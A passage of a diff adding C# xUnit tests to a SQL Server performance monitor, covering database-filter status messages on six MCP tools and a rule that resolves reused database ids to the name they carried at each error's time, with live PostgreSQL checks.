+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("a5244r2-lq-on", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            /* Another database's long query inside the window: the collector is on and has rows, so the chosen database's
+               empty answer is about the database, never about a switch. */
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO long_query_completions (long_query_completion_id, collection_time, server_id, server_name, event_time, event_type, database_name, duration_microseconds, statement_text)
+                  VALUES ($1, $2, $3, $4, $2, 'rpc_completed', 'DbOther', 5000000, 'EXEC p')",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(now.AddMinutes(-30)), serverId, serverName);
+
+            var withRows = await DarlingMcpLongQueryTools.GetLongQueryCompletions(
+                postgres, serverName, 24, 10, null, DatabaseFilter.One("DbChosen"), null, ct);
+            Assert.Equal("empty", DarlingMcpTestData.StatusOf(withRows));
+            Assert.Contains("DbChosen", Message(withRows), StringComparison.Ordinal);
+            Assert.DoesNotContain("opt-in", Message(withRows), StringComparison.Ordinal);
+            Assert.Equal("DbChosen", Echo(withRows));
+        }, Cleanup);
+
+    [Fact]
+    public Task LongQueryEmpty_UnderAFilter_KeepsTheOptInSentence_WhenTheStoreHoldsNoLongQueryRows() =>
+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("a5244r2-lq-off", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            var filtered = await DarlingMcpLongQueryTools.GetLongQueryCompletions(
+                postgres, serverName, 24, 10, null, DatabaseFilter.Of(new[] { "DbA", "DbB" }), null, ct);
+            Assert.Equal("empty", DarlingMcpTestData.StatusOf(filtered));
+            Assert.Contains("opt-in", Message(filtered), StringComparison.Ordinal);
+            Assert.Equal(DatabaseFilter.ManyDatabasesDescription, Echo(filtered));
+
+            var unfiltered = await DarlingMcpLongQueryTools.GetLongQueryCompletions(
+                postgres, serverName, 24, 10, null, DatabaseFilter.All, null, ct);
+            Assert.Contains("opt-in", Message(unfiltered), StringComparison.Ordinal);
+            Assert.Null(Echo(unfiltered));
+        }, Cleanup);
+
+    private static IEnumerable<(string Tool, Func<NpgsqlDataSource, string, DatabaseFilter, CancellationToken, Task<string>> Call)> SixTools()
+    {
+        var budget = TrendBudget.Mcp(TrendBuckets.DurationMaxPoints);
+        yield return ("get_query_duration_trend", (p, s, d, ct) => DarlingMcpTrendTools.GetQueryDurationTrend(p, s, 24, null, null, d, budget, ct));
+        yield return ("get_procedure_duration_trend", (p, s, d, ct) => DarlingMcpTrendTools.GetProcedureDurationTrend(p, s, 24, null, null, d, budget, ct));
+        yield return ("get_query_store_duration_trend", (p, s, d, ct) => DarlingMcpTrendTools.GetQueryStoreDurationTrend(p, s, 24, null, d, ct));
+        yield return ("get_long_query_completions", (p, s, d, ct) => DarlingMcpLongQueryTools.GetLongQueryCompletions(p, s, 24, 10, null, d, null, ct));
+        yield return ("get_plan_corrections", (p, s, d, ct) => DarlingMcpPlanCorrectionTools.GetPlanCorrections(p, s, 24, 10, null, false, d, null, ct));
+        yield return ("get_query_store_clutter", (p, s, d, ct) => DarlingMcpQueryStoreClutterTools.GetQueryStoreClutter(p, s, 24, 10, false, null, d, ct));
+    }
+
+    /// <summary>
+    /// L2, <c>not_collected</c>: a server whose engine cannot run the collector answers with that status from every one of
+    /// the six tools, and each says which databases the call was limited to. One database gives the name, two or more give
+    /// "the chosen databases", every database gives null.
+    /// </summary>
+    [Fact]
+    public Task NotCollected_OnEveryToolThatTakesADatabase_EchoesTheDatabase() =>
+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("a5244r2-not-collected", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct, "UPDATE servers SET engine_kind = $2 WHERE server_id = $1", serverId, MonitoredEngineKind.Postgres);
+
+            foreach (var (tool, call) in SixTools())
+            {
+                var one = await call(postgres, serverName, DatabaseFilter.One("DbA"), ct);
+                Assert.True(DarlingMcpTestData.StatusOf(one) == "not_collected", tool + ": " + one);
+                Assert.True(Echo(one) == "DbA", tool + " (one database)");
+
+                var two = await call(postgres, serverName, DatabaseFilter.Of(new[] { "DbA", "DbB" }), ct);
+                Assert.True(DarlingMcpTestData.StatusOf(two) == "not_collected", tool);
+                Assert.True(Echo(two) == DatabaseFilter.ManyDatabasesDescription, tool + " (two databases)");
+
+                var all = await call(postgres, serverName, DatabaseFilter.All, ct);
+                Assert.True(DarlingMcpTestData.StatusOf(all) == "not_collected", tool);
+                Assert.True(Echo(all) is null, tool + " (all databases)");
+            }
+        }, Cleanup);
+
+    /// <summary>
+    /// L2, <c>precondition</c>: the collector is on but its last run recorded a missing capture session, and the two tools
+    /// that read that outcome (long queries, Query Store clutter) answer <c>precondition</c> with the echo.
+    /// </summary>
+    [Fact]
+    public Task Precondition_OnTheToolsThatReadTheCollectorOutcome_EchoesTheDatabase() =>
+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("a5244r2-precondition", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            var collectors = new[] { "long_query_completions", DarlingQueryStoreClutterReader.CollectorName };
+            foreach (var collector in collectors)
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    "INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, status) VALUES ($1, $2, $3, $4, $5, $6)",
+                    CollectionIdGenerator.Next(), serverId, serverName, collector, DarlingMcpTestData.Naive(now.AddMinutes(-5)),
+                    CollectorRuntimePrecondition.CaptureSessionMissingStatus);
+            }
+
+            foreach (var (tool, call) in SixTools())
+            {
+                if (tool is not ("get_long_query_completions" or "get_query_store_clutter"))
+                {
+                    continue;
+                }
+
+                var one = await call(postgres, serverName, DatabaseFilter.One("DbA"), ct);
+                Assert.True(DarlingMcpTestData.StatusOf(one) == CollectorRuntimePrecondition.StatusWord, tool + ": " + one);
+                Assert.True(Echo(one) == "DbA", tool + " (one database)");
+
+                var two = await call(postgres, serverName, DatabaseFilter.Of(new[] { "DbA", "DbB" }), ct);
+                Assert.True(Echo(two) == DatabaseFilter.ManyDatabasesDescription, tool + " (two databases)");
+
+                var all = await call(postgres, serverName, DatabaseFilter.All, ct);
+                Assert.True(DarlingMcpTestData.StatusOf(all) == CollectorRuntimePrecondition.StatusWord, tool);
+                Assert.True(Echo(all) is null, tool + " (all databases)");
+            }
+        }, Cleanup);
+}
diff --git a/Darling/Darling.Tests/DatabaseNameHistoryTests.cs b/Darling/Darling.Tests/DatabaseNameHistoryTests.cs
new file mode 100644
index 0000000000..ad4b43ebb5
--- /dev/null
+++ b/Darling/Darling.Tests/DatabaseNameHistoryTests.cs
@@ -0,0 +1,506 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5373: a severe error is named by the database its id carried AT THE ERROR'S TIME. SQL Server reuses the id of a
+/// dropped database, so the server's latest id-to-name map named the wrong database for an old error. Pure cases for
+/// the shared <see cref="DatabaseNameHistory"/> rule; the live class below runs it through the store.
+/// </summary>
+public sealed class DatabaseNameHistoryTests
+{
+    private static readonly DateTime T1 = new(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+    private static readonly DateTime T2 = new(2026, 9, 10, 0, 0, 0, DateTimeKind.Utc);
+
+    private static DatabaseNameHistory IdSevenIsAThenB() => new(new[]
+    {
+        new DatabaseNameHistory.Change(7, "A", T1),
+        new DatabaseNameHistory.Change(7, "B", T2),
+        new DatabaseNameHistory.Change(1, "master", T1),
+    });
+
+    [Fact]
+    public void ReusedId_ErrorBeforeTheDrop_ShowsTheOldName_AfterShowsTheNewOne()
+    {
+        var history = IdSevenIsAThenB();
+        Assert.Equal("A", history.Resolve(7, T1.AddDays(2)));
+        Assert.Equal("B", history.Resolve(7, T2.AddDays(2)));
+        Assert.Equal("master", history.Resolve(1, T2.AddDays(2)));
+    }
+
+    [Fact]
+    public void ASnapshotAtTheSameInstantCountsAsBefore()
+    {
+        var history = IdSevenIsAThenB();
+        Assert.Equal("A", history.Resolve(7, T1));
+        Assert.Equal("B", history.Resolve(7, T2));
+        Assert.Equal("A", history.Resolve(7, T2.AddTicks(-1)));
+    }
+
+    [Fact]
+    public void NoSnapshotBeforeTheError_UsesTheOldestSnapshotAfterIt()
+    {
+        var history = IdSevenIsAThenB();
+        Assert.Equal("A", history.Resolve(7, T1.AddDays(-30)));
+    }
+
+    [Fact]
+    public void AnIdNeverSeen_SurfacesTheRawId_AndNoContextIsBlank()
+    {
+        var history = IdSevenIsAThenB();
+        Assert.Equal("database_id 99", history.Resolve(99, T1));
+        Assert.Equal("", history.Resolve(0, T1));
+        Assert.Equal("", history.Resolve(null, T1));
+        Assert.Equal("database_id 7", DatabaseNameHistory.Empty.Resolve(7, T1));
+    }
+
+    [Fact]
+    public void AnErrorWithNoTime_UsesTheNewestKnownName()
+    {
+        Assert.Equal("B", IdSevenIsAThenB().Resolve(7, null));
+    }
+
+    [Fact]
+    public void TimesCompareInUtc_ARepeatedNameAndRowOrderChangeNothing()
+    {
+        /* The same instant spelled in local time resolves the same; duplicate rows and any row order do too. */
+        var history = new DatabaseNameHistory(new[]
+        {
+            new DatabaseNameHistory.Change(7, "B", T2),
+            new DatabaseNameHistory.Change(7, "A", T1),
+            new DatabaseNameHistory.Change(7, "A", T1.AddDays(1)),
+        });
+        Assert.Equal("A", history.Resolve(7, T2.AddSeconds(-1).ToLocalTime()));
+        Assert.Equal("B", history.Resolve(7, T2.ToLocalTime()));
+        Assert.Equal("B", history.Resolve(7, DateTime.SpecifyKind(T2, DateTimeKind.Unspecified)));
+    }
+
+    [Fact]
+    public void RangeOf_IsTheEarliestAndLatestTime_OrNullWithNone()
+    {
+        Assert.Equal((T1, T2), DatabaseNameHistory.RangeOf(new DateTime?[] { T2, null, T1 }));
+        Assert.Null(DatabaseNameHistory.RangeOf(new DateTime?[] { null }));
+    }
+
+    [Fact]
+    public void TwoNamesForOneIdAtOneInstant_ResolveTheSameWhicheverOrderTheyArriveIn_5373()
+    {
+        /* The same id, the same collection_time, two names (a rename caught between two files of one collection): the
+           result must not depend on row order, so the later name in ordinal order wins. */
+        var x = new DatabaseNameHistory.Change(7, "X", T1);
+        var y = new DatabaseNameHistory.Change(7, "Y", T1);
+        Assert.Equal("Y", new DatabaseNameHistory(new[] { x, y }).Resolve(7, T2));
+        Assert.Equal("Y", new DatabaseNameHistory(new[] { y, x }).Resolve(7, T2));
+        Assert.Equal("Y", new DatabaseNameHistory(new[] { y, x }).Resolve(7, null));
+        Assert.Equal("Y", new DatabaseNameHistory(new[] { x, y }).Resolve(7, null));
+
+        /* Before that instant (no snapshot at or before the time) the oldest snapshot after it decides, and two names
+           on that one instant give the same larger name, not whichever sorted first (#5373 tie rule). */
+        var t0 = T1.AddDays(-1);
+        Assert.Equal("Y", new DatabaseNameHistory(new[] { x, y }).Resolve(7, t0));
+        Assert.Equal("Y", new DatabaseNameHistory(new[] { y, x }).Resolve(7, t0));
+        Assert.Equal(new DatabaseNameHistory(new[] { x, y }).Resolve(7, T1), new DatabaseNameHistory(new[] { x, y }).Resolve(7, t0));
+        /* A later, different name does not change what the oldest instant says. */
+        var later = new DatabaseNameHistory.Change(7, "Z", T2);
+        Assert.Equal("Y", new DatabaseNameHistory(new[] { x, y, later }).Resolve(7, t0));
+    }
+
+    [Fact]
+    public void Plan_NamesTheRealIds_TheirTimeRange_AndWhetherAnErrorHasNoTime_5373()
+    {
+        var plan = DatabaseNameHistory.Plan(new (int?, DateTime?)[] { (7, T2), (7, null), (0, null), (null, null), (1, T1) });
+        Assert.Equal(new[] { 1, 7 }, plan.Ids.OrderBy(i => i).ToArray());
+        Assert.Equal((T1, T2), plan.Range);
+        Assert.True(plan.NeedsNewest);
+
+        /* An error with no database context needs nothing, even with no time. */
+        var none = DatabaseNameHistory.Plan(new (int?, DateTime?)[] { (0, null), (null, T1) });
+        Assert.Empty(none.Ids);
+        Assert.Null(none.Range);
+        Assert.False(none.NeedsNewest);
+
+        var allUntimed = DatabaseNameHistory.Plan(new (int?, DateTime?)[] { (7, null) });
+        Assert.Null(allUntimed.Range);
+        Assert.True(allUntimed.NeedsNewest);
+    }
+
+    [Fact]
+    public void TheHistoryQuery_IsOneQueryOnTheServerTimeIndex_WithPositionalParameters()
+    {
+        var sql = DatabaseNameHistoryReader.Sql;
+        Assert.Contains("FROM v_database_size_stats", sql, StringComparison.Ordinal);
+        Assert.Contains("server_id = $1", sql, StringComparison.Ordinal);
+        Assert.Contains("collection_time <= $2", sql, StringComparison.Ordinal);
+        Assert.Contains("collection_time <= $3", sql, StringComparison.Ordinal);
+        Assert.Contains("database_id = ANY($4)", sql, StringComparison.Ordinal);
+        /* #5373: each of the two extra arms is ONE pass over all its ids (DISTINCT ON), never a per-id LATERAL probe, and
+           a tie on one instant breaks by name. */
+        Assert.Contains("before_floor AS", sql, StringComparison.Ordinal);
+        Assert.Equal(2, System.Text.RegularExpressions.Regex.Matches(sql, "SELECT DISTINCT ON \\(d\\.database_id\\)").Count);
+        Assert.DoesNotContain("LATERAL", sql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY collection_time, database_name", sql, StringComparison.Ordinal);
+        Assert.Contains("SELECT DISTINCT ON (database_id)", DatabaseNameHistoryReader.NewestSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("LATERAL", DatabaseNameHistoryReader.NewestSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("@", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("now(", sql.ToLowerInvariant());
+    }
+
+    [Fact]
+    public void TheThreeHistoryReads_AreBoundedTo14DaysOnTheTimeIndex_AndTieBreakToTheLargerName_5373()
+    {
+        Assert.Equal(14, DatabaseNameHistory.LookbackDays);
+        Assert.Equal(TimeSpan.FromDays(14), DatabaseNameHistory.LookbackWindow);
+
+        var sql = DatabaseNameHistoryReader.Sql;
+        /* before_floor looks back at most the window before the floor; after_range at most the window past the range end. */
+        Assert.Contains("d.collection_time >= (SELECT floor_time FROM floor_snap) - $5::interval", sql, StringComparison.Ordinal);
+        Assert.Contains("d.collection_time <= $3 + $5::interval", sql, StringComparison.Ordinal);
+        /* One tie rule: two names for one id at one instant, the larger in ordinal order, in both extra arms. */
+        Assert.Contains("ORDER BY d.database_id, d.collection_time DESC, d.database_name COLLATE \"C\" DESC", sql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY d.database_id, d.collection_time ASC, d.database_name COLLATE \"C\" DESC", sql, StringComparison.Ordinal);
+
+        var newest = DatabaseNameHistoryReader.NewestSql;
+        Assert.Contains("collection_time >= $3", newest, StringComparison.Ordinal);
+        Assert.Contains("database_name COLLATE \"C\" DESC", newest, StringComparison.Ordinal);
+    }
+}
+
+/// <summary>
+/// #5373 live: the history read, the Darling MCP tool and the viewer's Severe Errors read, against a test PostgreSQL.
+/// Id 7 is database A until T1, A is dropped, and id 7 is database B from T2.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class DatabaseNameHistoryLivePostgresTests
+{
+    private const string ServerName = "darling-dbname-history-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static string ErrorXml(DateTime at, int databaseId, int errorNumber) =>
+        $"<event name=\"error_reported\" package=\"sqlserver\" timestamp=\"{at:yyyy-MM-ddTHH:mm:ss.fffZ}\">" +
+        $"<data name=\"error_number\"><value>{errorNumber}</value></data>" +
+        "<data name=\"severity\"><value>20</value></data>" +
+        "<data name=\"state\"><value>1</value></data>" +
+        "<data name=\"message\"><value>history probe</value></data>" +
+        $"<action name=\"database_id\"><value>{databaseId}</value></action>" +
+        "</event>";
+
+    [Fact]
+    public async Task SevereErrors_AreNamedByTheDatabaseTheirIdWasAtTheErrorsTime()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live database-name-history test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+
+            async Task Snapshot(double hoursAgo, int id, string name) =>
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, database_id)
+VALUES ($1,$2,$3,$4,$5,$6)", CollectionIdGenerator.Next(), now.AddHours(-hoursAgo), ServerId, ServerName, name, id);
+
+            async Task Error(double hoursAgo, int id, int number)
+            {
+                var at = now.AddHours(-hoursAgo);
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO system_health_events (system_health_event_id, collection_time, server_id, server_name, event_time, event_type, event_xml)
+VALUES ($1,$2,$3,$4,$5,$6,$7)",
+                    CollectionIdGenerator.Next(), at, ServerId, ServerName, at, SystemHealthParser.ErrorReportedEvent, ErrorXml(at, id, number));
+            }
+
+            /* id 7 is A (snapshots at 20h, 16h, 12h ago, two files each), is dropped, and is B from 6h ago. */
+            foreach (var h in new[] { 20.0, 16.0, 12.0 }) { await Snapshot(h, 7, "A"); await Snapshot(h, 7, "A"); await Snapshot(h, 1, "master"); }
+            foreach (var h in new[] { 6.0, 2.0 }) { await Snapshot(h, 7, "B"); await Snapshot(h, 1, "master"); }
+            /* id 8 appears only AFTER the whole error range, as C (rule 2 past the range). */
+            await Snapshot(0.5, 8, "C");
+
+            await Error(22, 7, 50001);   /* before any snapshot: the oldest one after it, A */
+            await Error(14, 7, 50002);   /* A */
+            await Error(4, 7, 50003);    /* B */
+            await Error(1, 7, 50004);    /* B, after the last snapshot */
+            await Error(10, 8, 50005);   /* id 8 seen only after the range: C */
+            await Error(3, 99, 50006);   /* never seen */
+
+            var json = JsonDocument.Parse(await DarlingMcpHealthParserTools.GetSevereErrors(postgres, ServerName, hours_back: 48, limit: 50)).RootElement;
+            var names = json.GetProperty("errors").EnumerateArray()
+                .ToDictionary(e => e.GetProperty("error_number").GetInt32(), e => e.GetProperty("database_name").GetString()!);
+            Assert.Equal("A", names[50001]);
+            Assert.Equal("A", names[50002]);
+            Assert.Equal("B", names[50003]);
+            Assert.Equal("B", names[50004]);
+            Assert.Equal("C", names[50005]);
+            Assert.Equal("database_id 99", names[50006]);
+
+            /* The desktop viewer's Severe Errors read says the same, and its database filter matches the time-correct name. */
+            await using var viewer = new ViewerDataService(cs!);
+            var rows = await viewer.GetSevereErrorsAsync(ServerId, now.AddHours(-48), now, cancellationToken: ct);
+            var viewerNames = rows.ToDictionary(r => r.ErrorNumber ?? 0, r => r.DatabaseName);
+            Assert.Equal(names, viewerNames);
+            var onlyA = await viewer.GetSevereErrorsAsync(ServerId, now.AddHours(-48), now, new[] { "A" }, ct);
+            Assert.Equal(new[] { 50001, 50002 }, onlyA.Select(r => r.ErrorNumber ?? 0).OrderBy(n => n).ToArray());
+            var onlyB = await viewer.GetSevereErrorsAsync(ServerId, now.AddHours(-48), now, new[] { "B" }, ct);
+            Assert.Equal(new[] { 50003, 50004 }, onlyB.Select(r => r.ErrorNumber ?? 0).OrderBy(n => n).ToArray());
+            Assert.Empty(await viewer.GetSevereErrorsAsync(ServerId, now.AddHours(-48), now, new[] { "database_id 99" }, ct));
+            Assert.Empty(await viewer.GetSevereErrorsAsync(ServerId, now.AddHours(-48), now, new[] { "a" }, ct));
+
+            /* #5244: the Darling MCP tool's database filter matches on the same per-error name, not the id's latest name (B). Filtering by
+               the OLD name A returns the old errors and not the new ones, B the reverse; an id the history never saw is in no chosen database. */
+            async Task<int[]> McpNumbers(params string[] chosen)
+            {
+                var doc = JsonDocument.Parse(await DarlingMcpHealthParserTools.GetSevereErrors(
+                    postgres, ServerName, 48, 50, DatabaseFilter.Of(chosen), null, null, ct)).RootElement;
+                return doc.TryGetProperty("errors", out var errors)
+                    ? errors.EnumerateArray().Select(e => e.GetProperty("error_number").GetInt32()).OrderBy(n => n).ToArray()
+                    : [];
+            }
+            Assert.Equal(new[] { 50001, 50002 }, await McpNumbers("A"));
+            Assert.Equal(new[] { 50003, 50004 }, await McpNumbers("B"));
+            Assert.Equal(new[] { 50001, 50002, 50003, 50004 }, await McpNumbers("A", "B"));
+            Assert.Equal(new[] { 50005 }, await McpNumbers("C"));
+            Assert.Empty(await McpNumbers("database_id 99"));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task SnapshotAsync(NpgsqlConnection connection, DateTime at, int id, string name, System.Threading.CancellationToken ct) =>
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, database_id)
+VALUES ($1,$2,$3,$4,$5,$6)", CollectionIdGenerator.Next(), at, ServerId, ServerName, name, id);
+
+    private static async Task ErrorAtAsync(NpgsqlConnection connection, DateTime at, int id, int number, bool xmlHasTime, System.Threading.CancellationToken ct)
+    {
+        var xml = ErrorXml(at, id, number);
+        if (!xmlHasTime)
+            xml = System.Text.RegularExpressions.Regex.Replace(xml, " timestamp=\"[^\"]*\"", "", System.Text.RegularExpressions.RegexOptions.None, TimeSpan.FromSeconds(5));
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO system_health_events (system_health_event_id, collection_time, server_id, server_name, event_time, event_type, event_xml)
+VALUES ($1,$2,$3,$4,$5,$6,$7)",
+            CollectionIdGenerator.Next(), at, ServerId, ServerName, at, SystemHealthParser.ErrorReportedEvent, xml);
+    }
+
+    /// <summary>Seeds a fresh store with <paramref name="seed"/> and returns the names the MCP tool gave, keyed by error
+    /// number, after checking the viewer's Severe Errors read gives the same.</summary>
+    private static async Task<Dictionary<int, string>> NamesAsync(
+        string cs, Func<NpgsqlConnection, DateTime, System.Threading.CancellationToken, Task> seed)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            await seed(connection, now, ct);
+
+            var json = JsonDocument.Parse(await DarlingMcpHealthParserTools.GetSevereErrors(postgres, ServerName, hours_back: 168, limit: 50)).RootElement;
+            Assert.True(json.TryGetProperty("errors", out var errors), json.ToString());
+            var names = errors.EnumerateArray()
+                .ToDictionary(e => e.GetProperty("error_number").GetInt32(), e => e.GetProperty("database_name").GetString()!);
+
+            await using var viewer = new ViewerDataService(cs);
+            var rows = await viewer.GetSevereErrorsAsync(ServerId, now.AddHours(-200), now, cancellationToken: ct);
+            Assert.Equal(names, rows.ToDictionary(r => r.ErrorNumber ?? 0, r => r.DatabaseName));
+            bodySucceeded = true;
+            return names;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task AnIdAbsentFromTheFloorSnapshot_KeepsItsLastEarlierName_5373()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live database-name-history test.");
+
+        /* The floor snapshot is server-wide. Database 5 went offline (offline, suspect and excluded databases are not
+           collected): its last snapshot is before the whole error range, so it is in no snapshot of the range at all. */
+        var names = await NamesAsync(cs!, async (c, now, ct) =>
+        {
+            foreach (var h in new[] { 40.0, 30.0, 20.0, 10.0, 2.0 }) await SnapshotAsync(c, now.AddHours(-h), 1, "master", ct);
+            foreach (var h in new[] { 40.0, 30.0 }) await SnapshotAsync(c, now.AddHours(-h), 5, "Offline1", ct);
+            await ErrorAtAsync(c, now.AddHours(-10), 5, 50101, true, ct);   /* the last name it had: Offline1, not "database_id 5" */
+            await ErrorAtAsync(c, now.AddHours(-3), 5, 50102, true, ct);
+            await ErrorAtAsync(c, now.AddHours(-3), 1, 50103, true, ct);
+        });
+        Assert.Equal("Offline1", names[50101]);
+        Assert.Equal("Offline1", names[50102]);
+        Assert.Equal("master", names[50103]);
+    }
+
+    [Fact]
+    public async Task AReusedIdWhoseFirstOwnerWentOfflineBeforeTheRange_StillNamesBothOwners_5373()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live database-name-history test.");
+
+        /* A has id 7 until 5 days ago, then goes offline (no more rows) and is dropped. B gets id 7 10 hours ago. */
+        var names = await NamesAsync(cs!, async (c, now, ct) =>
+        {
+            foreach (var h in new[] { 130.0, 120.0, 100.0, 50.0, 30.0, 10.0, 4.0 }) await SnapshotAsync(c, now.AddHours(-h), 1, "master", ct);
+            foreach (var h in new[] { 130.0, 125.0, 120.0 }) await SnapshotAsync(c, now.AddHours(-h), 7, "A", ct);
+            foreach (var h in new[] { 10.0, 4.0 }) await SnapshotAsync(c, now.AddHours(-h), 7, "B", ct);
+            await ErrorAtAsync(c, now.AddHours(-26), 7, 50111, true, ct);   /* day -1: A */
+            await ErrorAtAsync(c, now.AddHours(-5), 7, 50112, true, ct);    /* hour -5: B */
+        });
+        Assert.Equal("A", names[50111]);
+        Assert.Equal("B", names[50112]);
+    }
+
+    [Fact]
+    public async Task AnErrorWithNoTime_ShowsTheNewestNameOfItsId_NotTheRawId_5373()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live database-name-history test.");
+
+        var names = await NamesAsync(cs!, async (c, now, ct) =>
+        {
+            foreach (var h in new[] { 20.0, 16.0 }) await SnapshotAsync(c, now.AddHours(-h), 7, "A", ct);
+            foreach (var h in new[] { 12.0, 2.0 }) await SnapshotAsync(c, now.AddHours(-h), 7, "B", ct);
+            await ErrorAtAsync(c, now.AddHours(-14), 7, 50121, true, ct);    /* timed: A */
+            await ErrorAtAsync(c, now.AddHours(-3), 7, 50122, false, ct);    /* no time in its XML: the newest name, B */
+        });
+        Assert.Equal("A", names[50121]);
+        Assert.Equal("B", names[50122]);
+
+        /* Every shown error has no time: there is no time range at all, and the newest name is still found. */
+        var onlyUntimed = await NamesAsync(cs!, async (c, now, ct) =>
+        {
+            await SnapshotAsync(c, now.AddHours(-20), 7, "A", ct);
+            await SnapshotAsync(c, now.AddHours(-2), 7, "B", ct);
+            await ErrorAtAsync(c, now.AddHours(-3), 7, 50123, false, ct);
+        });
+        Assert.Equal("B", onlyUntimed[50123]);
+    }
+
+    [Fact]
+    public async Task AnIdLastSeenBeyond14DaysBeforeTheFloor_ShowsTheRawId_Within14DaysItsName_5373()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live database-name-history test.");
+
+        /* Ids 5 and 6 are in no snapshot of the range (offline). 5 was last collected 20 days before the floor snapshot
+           (outside the 14-day look-back), 6 ten days before it (inside). */
+        var names = await NamesAsync(cs!, async (c, now, ct) =>
+        {
+            foreach (var h in new[] { 40.0, 30.0, 20.0, 10.0, 2.0 }) await SnapshotAsync(c, now.AddHours(-h), 1, "master", ct);
+            await SnapshotAsync(c, now.AddHours(-10).AddDays(-20), 5, "Gone20", ct);
+            await SnapshotAsync(c, now.AddHours(-10).AddDays(-10), 6, "Gone10", ct);
+            await ErrorAtAsync(c, now.AddHours(-3), 5, 50131, true, ct);
+            await ErrorAtAsync(c, now.AddHours(-3), 6, 50132, true, ct);
+        });
+        Assert.Equal("database_id 5", names[50131]);
+        Assert.Equal("Gone10", names[50132]);
+    }
+
+    [Fact]
+    public async Task AnIdFirstSeenBeyond14DaysAfterTheRange_ShowsTheRawId_Within14DaysItsName_5373()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live database-name-history test.");
+
+        /* Ids 8 and 9 are in no snapshot up to the last error. 8 first appears 10 days after it, 9 twenty days after. */
+        var names = await NamesAsync(cs!, async (c, now, ct) =>
+        {
+            var errorAt = now.AddHours(-150);
+            foreach (var h in new[] { 160.0, 100.0, 2.0 }) await SnapshotAsync(c, now.AddHours(-h), 1, "master", ct);
+            await SnapshotAsync(c, errorAt.AddDays(10), 8, "Late10", ct);
+            await SnapshotAsync(c, errorAt.AddDays(20), 9, "Late20", ct);
+            await ErrorAtAsync(c, errorAt, 8, 50141, true, ct);
+            await ErrorAtAsync(c, errorAt, 9, 50142, true, ct);
+        });
+        Assert.Equal("Late10", names[50141]);
